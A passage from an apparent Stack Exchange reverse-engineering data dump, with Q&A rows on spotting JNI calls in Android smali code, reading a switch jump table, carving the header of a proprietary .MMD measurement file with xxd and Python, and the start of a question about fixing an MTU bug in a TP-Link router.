  <row Id="15980" PostTypeId="1" CreationDate="2017-08-02T08:56:27.120" Score="3" ViewCount="1676" Body="&lt;p&gt;In Android, JNI calls could be used to load native code from other sources. From the link &lt;a href=&quot;http://bobao.360.cn/learning/detail/3765.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bobao.360.cn/learning/detail/3765.html&lt;/a&gt;, the following sample code shows how a smali code would look like when calling the function &quot;decryptString&quot; from a native library.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const/16 v3, 0x57&#xA;new-array v1, v3, [B&#xA;fill-array-data v1, :array_2a&#xA;.local v1, &quot;encryptedStringBytes&quot;:[B&#xA;invoke-static {}, Lorg/cf/nativeharness/Cryptor;-&amp;gt;getInstance()Lorg/cf/nativeharness/Cryptor;&#xA;move-result-object v0&#xA;.line 21&#xA;.local v0, &quot;c&quot;:Lorg/cf/nativeharness/Cryptor;&#xA;# v3 contains a String made from encrypted bytes&#xA;new-instance v3, Ljava/lang/String;&#xA;invoke-direct {v3, v1}, Ljava/lang/String;-&amp;gt;&amp;lt;init&amp;gt;([B)V&#xA;# Call the decryption method, move result back to v3&#xA;invoke-virtual {v0, v3}, Lorg/cf/nativeharness/Cryptor;-&amp;gt;decryptString(Ljava/lang/String;)Ljava/lang/String;&#xA;move-result-object v3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The original java code would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class Cryptor {&#xA;    private static Cryptor instance = null;&#xA;    public static Cryptor getInstance() {&#xA;        if (instance == null) {&#xA;            instance = new Cryptor();&#xA;        }&#xA;        return instance;&#xA;    }&#xA;    public native String decryptString(String encryptedString);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There seems to be no indication from the smali code that a native code is being loaded. What &quot;signatures&quot; in a smali code would be a good indicator that JNI calls are being made from the original java code?&lt;/p&gt;&#xA;" OwnerUserId="20823" LastActivityDate="2017-08-02T14:47:28.010" Title="How to detect JNI calls from smali code?" Tags="|disassembly|android|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15981" PostTypeId="2" ParentId="15978" CreationDate="2017-08-02T09:25:21.160" Score="2" Body="&lt;p&gt;it seems the &quot;code&quot; you're trying to disassemble is not actually code but just the table of offsets for the indirect jump (likely a switch implementation). Try interpreting it as a list of 4-byte flat addresses. E.g. :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:667013BC 03C                 cmp     ebx, 7 ; SWITCH ; switch 8 cases&#xA;.text:667013BF 03C                 ja      loc_667015AB ; SWITCH ; jumptable 667013C5 default case&#xA;.text:667013C5 03C                 jmp     ds:off_667060CC[ebx*4] ; switch jump&#xA; [...]&#xA;.rdata:667060CC     off_667060CC    dd offset loc_667015DE ; jump table for switch statement&#xA;.rdata:667060CC                     dd offset loc_667015D6  &#xA;.rdata:667060CC                     dd offset loc_667015EE&#xA;.rdata:667060CC                     dd offset loc_667015E6&#xA;.rdata:667060CC                     dd offset loc_667015F6&#xA;.rdata:667060CC                     dd offset loc_667015A5&#xA;.rdata:667060CC                     dd offset loc_66701663&#xA;.rdata:667060CC                     dd offset loc_66701658&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-02T09:25:21.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15982" PostTypeId="2" ParentId="15969" CreationDate="2017-08-02T09:46:45.117" Score="2" Body="&lt;p&gt;the header consists of 2280 bytes or 0x8e8 bytes as indicated in the first DIRECTORY&lt;/p&gt;&#xA;&#xA;&lt;p&gt;each of the item is 30 bytes or 0x1e bytes long &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so around 76 items can fit in the header&lt;/p&gt;&#xA;&#xA;&lt;p&gt;each last dword in the item denotes the length of the item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so DIRECTORY is 0x8e8&lt;br&gt;&#xA;TITLE is 0x80 &#xA;time is 0x14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the header can be dumped with xxd like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -s 0 -g30 -c 30 -l 0x8e8 21SIDEB.MMD&#xA;0000000: 4449524543544f525900460084d846006936430000014b000100e8080000  DIRECTORY.F...F.i6C...K.......&#xA;000001e: 5449544c4500000000000000000000000000000000020100800080000000  TITLE.........................&#xA;000003c: 54494d450000000000000000000000000000000000020100140014000000  TIME..........................&#xA;000005a: 444154450000000000000000000000000000000000020100140014000000  DATE..........................&#xA;0000078: 444154415459504500000000000000000000000000020100140014000000  DATATYPE......................&#xA;0000096: 444151000000000000000000000000000000000000020100140014000000  DAQ...........................&#xA;00000b4: 504843000000000000000000000000000000000000020100140014000000  PHC...........................&#xA;00000d2: 5245434f4e00000000000000000000000000000000020100140014000000  RECON.........................&#xA;00000f0: 4445544d41534b0000000000000000000000000000020100140014000000  DETMASK.......................&#xA;000010e: 5445524d41534b0000000000000000000000000000020100140014000000  TERMASK.......................&#xA;000012c: 4441544d41534b0000000000000000000000000000020100140014000000  DATMASK.......................&#xA;000014a: 52454646494c450000000000000000000000000000020100140014000000  REFFILE.......................&#xA;0000168: 494e535452554d454e540000000000000000000000020100140014000000  INSTRUMENT....................&#xA;0000186: 53455155454e434500000000000000000000000000040100010002000000  SEQUENCE......................&#xA;00001a4: 53455249414c000000000000000000000000000000020100140014000000  SERIAL........................&#xA;00001c2: 504152544944000000000000000000000000000000020100140014000000  PARTID........................&#xA;00001e0: 585354414745000000000000000000000000000000060100010004000000  XSTAGE........................&#xA;00001fe: 595354414745000000000000000000000000000000060100010004000000  YSTAGE........................&#xA;000021c: 5a5354414745000000000000000000000000000000060100010004000000  ZSTAGE........................&#xA;000023a: 544845544153544147450000000000000000000000060100010004000000  THETASTAGE....................&#xA;0000258: 5350454349414c5048415345000000000000000000020100140014000000  SPECIALPHASE..................&#xA;0000276: 5350454349414c4441544100000000000000000000020100140014000000  SPECIALDATA...................&#xA;0000294: 46494c5445524c4142454c00000000000000000000020100140014000000  FILTERLABEL...................&#xA;00002b2: 4d41474c4142454c00000000000000000000000000020100140014000000  MAGLABEL......................&#xA;00002d0: 43414d4552415f4c4142454c000000000000000000020100140014000000  CAMERA_LABEL..................&#xA;00002ee: 545542455f4c4142454c0000000000000000000000020100140014000000  TUBE_LABEL....................&#xA;000030c: 58504958454c000000000000000000000000000000060100010004000000  XPIXEL........................&#xA;000032a: 59504958454c000000000000000000000000000000060100010004000000  YPIXEL........................&#xA;0000348: 5a5343414c45000000000000000000000000000000060100010004000000  ZSCALE........................&#xA;0000366: 4f524947494e580000000000000000000000000000040100010002000000  ORIGINX.......................&#xA;0000384: 4f524947494e590000000000000000000000000000040100010002000000  ORIGINY.......................&#xA;00003a2: 505a54534849465400000000000000000000000000060100010004000000  PZTSHIFT......................&#xA;00003c0: 4d4f44544852455348000000000000000000000000060100010004000000  MODTHRESH.....................&#xA;00003de: 534d4f4f5448000000000000000000000000000000060100010004000000  SMOOTH........................&#xA;00003fc: 424144504958454c00000000000000000000000000060100010004000000  BADPIXEL......................&#xA;000041a: 524547494f4e530000000000000000000000000000040100010002000000  REGIONS.......................&#xA;0000438: 5445524d0000000000000000000000000000000000020100140014000000  TERM..........................&#xA;0000456: 504958454c434f554e540000000000000000000000050100010004000000  PIXELCOUNT....................&#xA;0000474: 56414c4c4559000000000000000000000000000000060100010004000000  VALLEY........................&#xA;0000492: 5045414b0000000000000000000000000000000000060100010004000000  PEAK..........................&#xA;00004b0: 524d53000000000000000000000000000000000000060100010004000000  RMS...........................&#xA;00004ce: 524100000000000000000000000000000000000000060100010004000000  RA............................&#xA;00004ec: 525300000000000000000000000000000000000000060100010004000000  RS............................&#xA;000050a: 435300000000000000000000000000000000000000060100010004000000  CS............................&#xA;0000528: 523100000000000000000000000000000000000000060100010004000000  R1............................&#xA;0000546: 523200000000000000000000000000000000000000060100010004000000  R2............................&#xA;0000564: 413100000000000000000000000000000000000000060100010004000000  A1............................&#xA;0000582: 4d45414e0000000000000000000000000000000000060100010004000000  MEAN..........................&#xA;00005a0: 5445524d53000000000000000000000000000000000701001c00e0000000  TERMS.........................&#xA;00005be: 444154410000000000000000000000000000000000064001400100400600  DATA..................@.@..@..&#xA;00005dc: 4d4f44454e414d4500000000000000000000000000020100140014000000  MODENAME......................&#xA;00005fa: 545542454e414d4500000000000000000000000000020100140014000000  TUBENAME......................&#xA;0000618: 52454c41594e414d45000000000000000000000000020100140014000000  RELAYNAME.....................&#xA;0000636: 43414d4552414e414d450000000000000000000000020100140014000000  CAMERANAME....................&#xA;0000654: 4f50455241544f5200000000000000000000000000020100140014000000  OPERATOR......................&#xA;0000672: 4c4f544e554d424552000000000000000000000000020100140014000000  LOTNUMBER.....................&#xA;0000690: 504152544e554d4245520000000000000000000000020100140014000000  PARTNUMBER....................&#xA;00006ae: 58444543494d4154494f4e00000000000000000000040100010002000000  XDECIMATION...................&#xA;00006cc: 59444543494d4154494f4e00000000000000000000040100010002000000  YDECIMATION...................&#xA;00006ea: 46494c544552574156454c454e4754480000000000060100010004000000  FILTERWAVELENGTH..............&#xA;0000708: 4f424a4543544956454d4147000000000000000000060100010004000000  OBJECTIVEMAG..................&#xA;0000726: 4f424a4543544956454e4100000000000000000000060100010004000000  OBJECTIVENA...................&#xA;0000744: 545542454d41470000000000000000000000000000060100010004000000  TUBEMAG.......................&#xA;0000762: 52454c41594d414700000000000000000000000000060100010004000000  RELAYMAG......................&#xA;0000780: 43414d45524158504958454c000000000000000000060100010004000000  CAMERAXPIXEL..................&#xA;000079e: 43414d45524159504958454c000000000000000000060100010004000000  CAMERAYPIXEL..................&#xA;00007bc: 000000000000000000000000000000000000000000000000000000000000  ..............................&#xA;00007da: 000000000000000000000000000000000000000000000000000000000000  ..............................&#xA;00007f8: 000000000000000000000000000000000000000000000000000000000000  ..............................&#xA;0000816: 000000000000000000000000000000000000000000000000000000000000  ..............................&#xA;0000834: 000000000000000000000000000000000000000000000000000000000000  ..............................&#xA;0000852: 000000000000000000000000000000000000000000000000000000000000  ..............................&#xA;0000870: 000000000000000000000000000000000000000000000000000000000000  ..............................&#xA;000088e: 000000000000000000000000000000000000000000000000000000000000  ..............................&#xA;00008ac: 000000000000000000000000000000000000000000000000000000000000  ..............................&#xA;00008ca: 000000000000000000000000000000000000000000000000000000000000  ..............................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the title ican be dumped like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -s 0x8e8 -g16 -l 0x80 21SIDEB.MMD&#xA;00008e8: 32312053494445204200736500000000  21 SIDE B.se....&#xA;00008f8: 0000000088f61200000000006cf91200  ............l...&#xA;0000908: 8f04447eb08e427e7419dd73b825ea73  ..D~..B~t..s.%.s&#xA;0000918: 400000000300000044f71200b825ea73  @.......D....%.s&#xA;0000928: a825ea73b8f612002cf712000042e673  .%.s....,....B.s&#xA;0000938: ffffffff44f7120058f7120004f71200  ....D...X.......&#xA;0000948: f27ce273489ceb00fd99eb0090224700  .|.sH........&quot;G.&#xA;0000958: 84d8460014d94600d87c420040010000  ..F...F..|B.@...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;time date and datatype&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -s 0x968 -g16 -l 0x14 21SIDEB.MMD&#xA;0000968: 31363a30333a35340000736500000000  16:03:54..se....&#xA;0000978: 00000000                          ....&#xA;&#xA;:\&amp;gt;xxd -s 0x97c -g16 -l 0x14 21SIDEB.MMD&#xA;000097c: 323031372d30372d3131006500000000  2017-07-11.e....&#xA;000098c: 00000000                          ....&#xA;&#xA;:\&amp;gt;xxd -s 0x990 -g16 -l 0x14 21SIDEB.MMD&#xA;0000990: 53555246414345004f4e00004f464600  SURFACE.ON..OFF.&#xA;00009a0: 44454255                          DEBU&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;based on this the data should start at 0xc38&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import struct&#xA;&amp;gt;&amp;gt;&amp;gt; fin = open(&quot;21sideb.mmd&quot; ,&quot;rb&quot;)&#xA;&amp;gt;&amp;gt;&amp;gt; for i in range(0x1a,30*76,30):&#xA;...     fin.seek(i)&#xA;...     print &quot;0x%x+&quot; % struct.unpack(&quot;i&quot;,fin.read(4)),&#xA;...&#xA;0x8e8+ 0x80+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x2+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+&#xA; 0x4+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+ 0x2+ 0x2+ 0x4+ 0x4+ 0x4+ 0x4+ 0x2+ 0x14+ 0x4+ 0x4+ 0x&#xA;4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0xe0+ 0x64000+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x2+ 0x2+&#xA;0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ccalc &gt; 0x8e8+ 0x80+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x2+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+ 0x4+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+ 0x2+ 0x2+ 0x4+ 0x4+ 0x4+ 0x4+ 0x2+ 0x14+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0xe0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ans = 0x0C38&lt;/p&gt;&#xA;&#xA;&lt;p&gt;python script to rip the file into pieces as denoted in the header&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import struct&#xA;fin = open(&quot;21sideb.mmd&quot;,&quot;rb&quot;)&#xA;itemaddr = 0&#xA;&#xA;for i in range (0x1a,30*75,30):&#xA;    fin.seek(i+4)&#xA;    print str(fin.read(15)),&#xA;    fin.seek(i)                             &#xA;    addone = struct.unpack(&quot;i&quot;,fin.read(4)) &#xA;    itemaddr += addone[0];                  # addr of NEXTITEM &#xA;    fin.seek(i+30)&#xA;    addtwo = struct.unpack(&quot;i&quot;,fin.read(4)) # size of NEXTITEM    &#xA;    fin.seek(itemaddr)    &#xA;    print &quot;size = %s bytes  ItemData = %s\n&quot; % ( str(hex(addtwo[0])) ,  hex(itemaddr))&#xA;    if(itemaddr != 0xc38):&#xA;        print struct.unpack( (str(addtwo[0]) + &quot;s&quot;),fin.read(addtwo[0]))&#xA;        print &quot;\n&quot;&#xA;&#xA;fin.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;each item seperately printed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; C:\&amp;gt;python carvemmd.py TITLE size = 0x80 bytes ItemData = 0x8e8 &#xA;('21 SIDE &#xA;B\x00se\x00\x00\x00\x00\x00\x00\x00\x00\x88\xf6\x12\x00\x00\x00\x00\x00l &#xA;\xf9\x12\x00\x8f\x04D~\xb0\x8eB~t\x19\xdds\xb8%\xeas@\x00\x00\x00\x03\x00&#xA;\x00\x00D\xf7\x12\x00\xb8%\xeas\xa8%\xeas\xb8\xf6\x12\x00,\xf7\x12\x00\x00B&#xA;\xe6s\xff\xff\xff\xffD\xf7\x12\x00X\xf7\x12\x00\x04\xf7\x12\x00\xf2|\xe2sH&#xA;\x9c\xeb\x00\xfd\x99\xeb\x00\x90&quot;G\x00\x84\xd8F\x00\x14\xd9F\x00\xd8|B\x00@&#xA;\x01\x00\x00',) &#xA;TIME size = 0x14 bytes ItemData = 0x968 &#xA;('16:03:54\x00\x00se\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;DATE size = 0x14 bytes ItemData = 0x97c &#xA;('2017-07-11\x00e\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;DATATYPE size = 0x14 bytes ItemData = 0x990 &#xA;('SURFACE\x00ON\x00\x00OFF\x00DEBU',) &#xA;DAQ size = 0x14 bytes ItemData = 0x9a4 &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;PHC size = 0x14 bytes ItemData = 0x9b8 &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;RECON size = 0x14 bytes ItemData = 0x9cc &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;DETMASK size = 0x14 bytes ItemData = 0x9e0 &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;TERMASK size = 0x14 bytes ItemData = 0x9f4 &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;DATMASK size = 0x14 bytes ItemData = 0xa08 &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;REFFILE size = 0x14 bytes ItemData = 0xa1c &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;INSTRUMENT size = 0x14 bytes ItemData = 0xa30 &#xA;('Smooth Phase\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;SEQUENCE size = 0x2 bytes ItemData = 0xa44 &#xA;('\x00\x00',) &#xA;SERIAL size = 0x14 bytes ItemData = 0xa46 &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;PARTID size = 0x14 bytes ItemData = 0xa5a &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;XSTAGE size = 0x4 bytes ItemData = 0xa6e &#xA;('\x00\x00\x00\x00',) &#xA;YSTAGE size = 0x4 bytes ItemData = 0xa72 &#xA;('\x00\x00\x00\x00',) &#xA;ZSTAGE size = 0x4 bytes ItemData = 0xa76 &#xA;('\x00\x00\x00\x00',) &#xA;THETASTAGE size = 0x4 bytes ItemData = 0xa7a &#xA;('\x00\x00\x00\x00',) &#xA;SPECIALPHASE size = 0x14 bytes ItemData = 0xa7e &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;SPECIALDATA size = 0x14 bytes ItemData = 0xa92 &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;FILTERLABEL size = 0x14 bytes ItemData = 0xaa6 &#xA;('520 nm\x00 B\x00se\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;MAGLABEL size = 0x14 bytes ItemData = 0xaba &#xA;('20X\x00nm\x00 B\x00se\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;CAMERA_LABEL size = 0x14 bytes ItemData = 0xace &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;TUBE_LABEL size = 0x14 bytes ItemData = 0xae2 &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x &#xA;00\x00\x00',) &#xA;XPIXEL size = 0x4 bytes ItemData = 0xaf6 &#xA;('H\xe1\xfa&amp;gt;',) &#xA;YPIXEL size = 0x4 bytes ItemData = 0xafa &#xA;('H\xe1\xfa&amp;gt;',) &#xA;ZSCALE size = 0x4 bytes ItemData = 0xafe &#xA;('\x00\x00\x80?',) &#xA;ORIGINX size = 0x2 bytes ItemData = 0xb02 &#xA;('\x00\x00',) &#xA;ORIGINY size = 0x2 bytes ItemData = 0xb04 &#xA;('\x00\x00',) &#xA;PZTSHIFT size = 0x4 bytes ItemData = 0xb06 &#xA;('\x00\x00\x00\x00',) &#xA;MODTHRESH size = 0x4 bytes ItemData = 0xb0a &#xA;('\x00\x00\x00\x00',) &#xA;SMOOTH size = 0x4 bytes ItemData = 0xb0e &#xA;('\x00\x00\x00\x00',) &#xA;BADPIXEL size = 0x4 bytes ItemData = 0xb12 &#xA;('\xbf\x87*Y',) &#xA;REGIONS size = 0x2 bytes ItemData = 0xb16 &#xA;('\x00\x00',) &#xA;TERM size = 0x14 bytes ItemData = 0xb18 &#xA;('NONE\x00\x00\x00\x00TERMS\x00\x00\x00MEAN',) &#xA;PIXELCOUNT size = 0x4 bytes ItemData = 0xb2c &#xA;('\x00\x00\x00\x00',) &#xA;VALLEY size = 0x4 bytes ItemData = 0xb30 &#xA;('\x00\x00\x00\x00',) &#xA;PEAK size = 0x4 bytes ItemData = 0xb34 &#xA;('\x00\x00\x00\x00',) &#xA;RMS size = 0x4 bytes ItemData = 0xb38 &#xA;('\x00\x00\x00\x00',) &#xA;RA size = 0x4 bytes ItemData = 0xb3c &#xA;('\x00\x00\x00\x00',) &#xA;RS size = 0x4 bytes ItemData = 0xb40 &#xA;('\x00\x00\x00\x00',) &#xA;CS size = 0x4 bytes ItemData = 0xb44 &#xA;('\x00\x00\x00\x00',) &#xA;R1 size = 0x4 bytes ItemData = 0xb48 &#xA;('\x00\x00\x00\x00',) &#xA;R2 size = 0x4 bytes ItemData = 0xb4c &#xA;('\x00\x00\x00\x00',) &#xA;A1 size = 0x4 bytes ItemData = 0xb50 &#xA;('\x00\x00\x00\x00',) &#xA;MEAN size = 0x4 bytes ItemData = 0xb54 &#xA;('\x00\x00\x00\x00',) &#xA;TERMS size = 0xe0 bytes ItemData = 0xb58 &#xA;('\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#xA;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#xA;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#xA;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#xA;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#xA;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#xA;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#xA;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#xA;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#xA;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#xA;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#xA;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00',) &#xA;DATA size = 0x64000 bytes ItemData = 0xc38 &#xA;MODENAME size = 0x14 bytes ItemData = 0x64c38 &#xA;('Smooth Phase\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;TUBENAME size = 0x14 bytes ItemData = 0x64c4c &#xA;('1X Body\x00hase\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;RELAYNAME size = 0x14 bytes ItemData = 0x64c60 &#xA;('1X Relay\x00ase\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;CAMERANAME size = 0x14 bytes ItemData = 0x64c74 &#xA;('1/2&quot; CCD\x00ase\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;OPERATOR size = 0x14 bytes ItemData = 0x64c88 &#xA;('125\x00 CCD\x00ase\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;LOTNUMBER size = 0x14 bytes ItemData = 0x64c9c &#xA;('I9W1R\x00CD\x00ase\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;PARTNUMBER size = 0x14 bytes ItemData = 0x64cb0 &#xA;('39530\x00CD\x00ase\x00\x00\x00\x00\x00\x00\x00\x00',) &#xA;XDECIMATION size = 0x2 bytes ItemData = 0x64cc4 &#xA;('\x01\x00',) &#xA;YDECIMATION size = 0x2 bytes ItemData = 0x64cc6 &#xA;('\x01\x00',) &#xA;FILTERWAVELENGT size = 0x4 bytes ItemData = 0x64cc8 &#xA;('\xb8\x1e\x05?',) &#xA;OBJECTIVEMAG size = 0x4 bytes ItemData = 0x64ccc &#xA;('\x00\x00\xa0A',) &#xA;OBJECTIVENA size = 0x4 bytes ItemData = 0x64cd0 &#xA;('\xcd\xcc\xcc&amp;gt;',) &#xA;TUBEMAG size = 0x4 bytes ItemData = 0x64cd4 &#xA;('\x00\x00\x80?',) &#xA;RELAYMAG size = 0x4 bytes ItemData = 0x64cd8 &#xA;('\x00\x00\x80?',) &#xA;CAMERAXPIXEL size = 0x4 bytes ItemData = 0x64cdc &#xA;('\xcd\xcc\x1cA',) &#xA;CAMERAYPIXEL size = 0x4 bytes ItemData = 0x64ce0 &#xA;('\xcd\xcc\x1cA',) &#xA;size = 0x0 bytes ItemData = 0x64ce4 &#xA;('',) &#xA;size = 0x0 bytes ItemData = 0x64ce4 &#xA;('',) &#xA;size = 0x0 bytes ItemData = 0x64ce4 &#xA;('',) &#xA;size = 0x0 bytes ItemData = 0x64ce4 &#xA;('',) &#xA;size = 0x0 bytes ItemData = 0x64ce4 &#xA;('',) &#xA;size = 0x0 bytes ItemData = 0x64ce4 &#xA;('',) &#xA;size = 0x0 bytes ItemData = 0x64ce4 &#xA;('',) &#xA;size = 0x0 bytes ItemData = 0x64ce4 &#xA;('',) &#xA;size = 0x0 bytes ItemData = 0x64ce4 &#xA;('',) &#xA;size = 0x0 bytes ItemData = 0x64ce4 &#xA;('',) &#xA;C:\&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-08-05T08:52:02.577" LastActivityDate="2017-08-05T08:52:02.577" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15983" PostTypeId="2" ParentId="15980" CreationDate="2017-08-02T14:47:28.010" Score="6" Body="&lt;p&gt;You want to look at the definitions of the methods being called. The definition of the &lt;code&gt;decryptString&lt;/code&gt; method will contain the &lt;code&gt;native&lt;/code&gt; access flag, similar to it's corresponding java declaration. e.g. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.method public native decryptString(Ljava/lang/String;)Ljava/lang/String&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can look for calls to &lt;code&gt;System.loadLibrary&lt;/code&gt; as an indication that the application is loading a library in order to perform JNI calls.&lt;/p&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2017-08-02T14:47:28.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15985" PostTypeId="1" CreationDate="2017-08-02T15:51:19.400" Score="10" ViewCount="2785" Body="&lt;p&gt;I am trying to reverse engineer a TDw8960 v7 TP-Link router. Currently the router has a bug, whereby setting the MTU via the GUI has no affect. It seems regardless of the value placed here despite showing a default value of 1480, all interfaces are stuck at 1500 which has caused some navigation issues. Whilst I have brought this to the attention of TP-Link I would rather try to patch this quickly and wait to see if and when they release a fixed version of the firmwares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below you can see the gui setting and the ifconfig from Telnet&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TFel4.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TFel4.png&quot; alt=&quot;MTU Gui&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dFjvu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dFjvu.png&quot; alt=&quot;MTU Ifconfig&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The config files also confirms it should be 1400 on the ppp0 interface:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LUu3T.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LUu3T.png&quot; alt=&quot;Config 